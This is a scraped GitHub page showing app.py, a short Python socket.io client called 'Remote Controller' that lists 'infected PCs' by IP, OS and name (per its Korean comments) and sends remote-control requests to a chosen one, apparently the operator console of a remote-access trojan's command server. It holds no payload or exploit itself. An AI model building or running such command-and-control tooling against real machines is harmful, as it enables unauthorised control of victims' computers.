-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathapp.py
93 lines (77 loc) · 1.81 KB
/
app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import json
import numpy as np
import socketio
from pyfiglet import Figlet
import os
import cv2
f = Figlet(font='slant')
cls = lambda: os.system('cls' if os.name=='nt' else 'clear')
sio = socketio.Client()
target = {}
isWhile = True
def showMenu():
print(f.renderText('Remote Controller'))
print("1. set target")
print("2. remote") if target else ''
print("\nexit. exit")
print(f"\n\ntarget : [ {target['ip']} | {target['os']} | {target['name']} ]") if target else ''
def main():
cls()
global isWhile
global target
while isWhile:
cls()
showMenu()
print("\n>> ", end='')
a = input()
if a == '1':
showTargetList()
elif a == '2':
remote()
elif a == 'exit':
sio.disconnect()
exit()
# 원격조종
def remote():
sio.emit('remote req', {'target': target['sid']})
# 감염된 pc 정보들 가져오기
def showTargetList():
global isWhile
isWhile = False
sio.emit('target list')
@sio.on('t list')
def getTargetLlist(data):
global isWhile
w = True
cls()
print(f.renderText('Targets'))
print("\n\n")
for i, v in enumerate(data['targets']):
print(f"{i+1}. {v['ip']} | {v['os']} | {v['name']}")
print("\n999. exit\n\n")
while w:
print(">> ", end='')
st = int(input())
if st == 999:
isWhile = True
main()
if st > len(data['targets']):
print("The number passed.")
continue
else:
w = False
global target
target = data['targets'][st-1]
isWhile = True
main()
# 타겟이 연결 끊길 때
@sio.on('del target')
def delTarget(data):
global target
if target['sid'] == data['sid']:
target = {}
@sio.event
def connect():
main()
if __name__ == '__main__':
sio.connect('http://localhost:8000')